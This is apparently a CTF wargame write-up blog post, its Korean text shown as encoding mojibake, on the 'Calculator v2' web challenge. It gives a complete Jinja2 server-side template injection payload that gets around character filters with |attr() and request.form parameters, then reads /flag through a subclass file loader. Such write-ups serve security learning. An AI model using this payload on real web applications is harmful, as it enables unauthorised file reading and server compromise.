wargame ๐Ÿด‍โ˜ ๏ธ write-up/H4CKING GAME

[Web Hacking] Calculator v2

Kortsec1 2025. 1. 2. 12:56

0x01 ๋ฌธ์ œ ์„ค๋ช…

์ด์ „ Calculator ๋ฌธ์ œ์™€ ์ด์–ด์ง€๋Š” ๋ฒ„์ „์˜ ๋ฌธ์ œ๋‹ค. ์„ค๋ช…์— ๋”ฐ๋ฅด๋ฉด ์ทจ์•ฝ์ ์„ ๋ฐฉ์–ดํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ ํ•˜์˜€๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.


0x02 ํ’€์ด ๊ณผ์ •

_ , . , mro ๋“ฑ ๊ณผ ๊ฐ™์€ ๋ฌธ์ž๋“ค์ด ์ถ”๊ฐ€๋กœ ํ•„ํ„ฐ๋ง ๋˜๊ณ ์žˆ๋‹ค. ์ด์ „ ๋ฌธ์ œ์™€ ๊ฐ™์ด fileloader๋ฅผ ์ด์šฉํ•˜์—ฌ /flag ๋ฅผ ์ฝ์–ด์˜ฌ ์˜ˆ์ •์ด๋‹ค. SSTI ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ณผ์ •์€ Calculator ์—์„œ ๋‹ค๋ค˜๊ธฐ์—, ์ด๋ฒˆ์— ์‚ฌ์šฉํ•œ ํ•„ํ„ฐ๋ง ์šฐํšŒ์— ๊ด€ํ•ด์„œ๋งŒ ์ด์•ผ๊ธฐํ•ด ๋ณผ ๊ฒƒ์ด๋‹ค.

. ํ•„ํ„ฐ๋ง ์šฐํšŒ
A.B -> A|attr('B')

ํŠน์ • ๋ฌธ์ž ํ•„ํ„ฐ๋ง ์šฐํšŒ
__class__
data=request.form.get('a')&a=__class__

์œ„์™€๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ''.class.mro[1].subclasses()[99].get_data('/flag') ๋ฅผ ์šฐํšŒํ•œ ๊ฒฐ๊ณผ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

data=''|attr(request|attr('form')|attr('get')('a'))|attr(request|attr('form')|attr('get')('b'))|attr(request|attr('form')|attr('get')('c'))(1)|attr(request|attr('form')|attr('get')('d'))()|attr('pop')(99)(request|attr('form')|attr('get')('e'),request|attr('form')|attr('get')('e'))|attr(request|attr('form')|attr('get')('f'))(request|attr('form')|attr('get')('e'))&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__&e=flag&f=get_data

๊ฐ€๋…์„ฑ์ด ์‹ฌํžˆ ๋–จ์–ด์ง€์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ๊ทธ๋ฆฌ ๋ณต์žกํ•˜์ง€ ์•Š๋‹ค.


0x03 ๊ฒฐ๊ณผ ํ™•์ธ

  • FLAG
  • H4CGM{asdfasdfasdfasdfasdfasdf}

 


0x04 ํšŒ๊ณ  ๋ฐ ์ฐธ๊ณ  ๋‚ด์šฉ

ํ•„ํ„ฐ๋ง์„ ํ•˜๋‚˜ํ•˜๋‚˜ ์šฐํšŒํ•˜๋Š” ๊ณผ์ •์€ ๋Š˜ ํฅ๋ฏธ๋กญ๊ฒŒ ๋Š๋‚€๋‹ค.

์ฐธ๊ณ 

https://dohunny.tistory.com/20

https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html?highlight=ssti#jinja2-ssti

https://kortsec1n4mationm.tistory.com/49

https://kortsec1n4mationm.tistory.com/46

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > H4CKING GAME' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Web Hacking] Real PHP LFI  (0) 2025.01.02
[Web Hacking] Smuggling  (0) 2024.12.30
[Web Hacking] Calculator  (1) 2024.12.19